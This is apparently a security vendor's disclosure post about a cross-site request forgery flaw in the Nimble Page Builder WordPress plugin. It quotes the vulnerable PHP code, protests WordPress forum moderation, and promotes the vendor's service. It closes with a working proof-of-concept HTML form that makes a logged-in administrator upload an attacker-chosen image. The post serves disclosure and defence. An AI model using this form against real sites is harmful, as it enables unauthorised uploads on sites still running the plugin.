28 Feb 2022

Recently Closed WordPress Plugin with 50,000+ Installs Contains CSRF/Restricted File Upload Vulnerability

A week ago, the WordPress plugin Nimble Page Builder was closed on WordPress Plugin Directory. Because that is one of the 1,000 most popular plugins in that directory (it has 50,000+ installs), our systems warned us about the closure and we started checking over the plugin to see if there was a vulnerability we should warn customers of our service about if they are using the plugin. What we found was that it contains a cross-site request forgery (CSRF) vulnerability that can be used to upload some types of files.

In the file /inc/sektions/ccat-czr-sektions.php, the plugin makes the function sek_ajax_import_attachment() accessible to those logged in to WordPress:

3966
add_action( 'wp_ajax_sek_import_attachment', '\Nimble\sek_ajax_import_attachment' );

That function will upload an image file specified by the POST input “img_url”:

3995
3996
3997
3998
3999
4000
4001
4002
function sek_ajax_import_attachment() {
    sek_do_ajax_pre_checks( array( 'check_nonce' => false ) );
 
    if ( !isset( $_POST['img_url'] ) || !is_string($_POST['img_url']) ) {
        wp_send_json_error( 'missing_or_invalid_img_url_when_importing_image');
    }
 
    $id = sek_sideload_img_and_return_attachment_id( $_POST['img_url'] );

There is a security check done before that happens using the plugin’s sek_do_ajax_pre_checks(), but for some reason that check is specified to be done without a nonce check, which means that an attacker could cause someone that passes the capabilities check in that function to upload image without intending, which is cross-site request forgery (CSRF):

3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
function sek_do_ajax_pre_checks( $params = array() ) {
    $params = wp_parse_args( $params, array( 'check_nonce' => true ) );
    if ( $params['check_nonce'] ) {
        $action = 'save-customize_' . get_stylesheet();
        if ( !check_ajax_referer( $action, 'nonce', false ) ) {
             wp_send_json_error( array(
                'code' => 'invalid_nonce',
                'message' => __( __CLASS__ . '::' . __FUNCTION__ . ' => check_ajax_referer() failed.', 'nimble-builder' ),
            ) );
        }
    }
 
    if ( !is_user_logged_in() ) {
        wp_send_json_error( __CLASS__ . '::' . __FUNCTION__ . ' => unauthenticated' );
    }
    if ( !current_user_can( 'customize' ) ) {
      wp_send_json_error( __CLASS__ . '::' . __FUNCTION__ . ' => user_cant_edit_theme_options');
    }
    if ( !current_user_can( 'customize' ) ) {
        status_header( 403 );
        wp_send_json_error( __CLASS__ . '::' . __FUNCTION__ . ' => customize_not_allowed' );
    } else if ( !isset( $_SERVER['REQUEST_METHOD'] ) || 'POST' !== $_SERVER['REQUEST_METHOD'] ) {
        status_header( 405 );
        wp_send_json_error( __CLASS__ . '::' . __FUNCTION__ . ' => bad_method' );
    }
}//sek_do_ajax_pre_checks()

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause the specified image to be uploaded.

Replace “[path to WordPress]” with the location of WordPress and “[image URL]” with the URl of image.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=sek_import_attachment" method="POST">
<input type="hidden" name="img_url" value="[image URL]" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for Nimble Page Builder

Checked on July 29, 2024
F

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.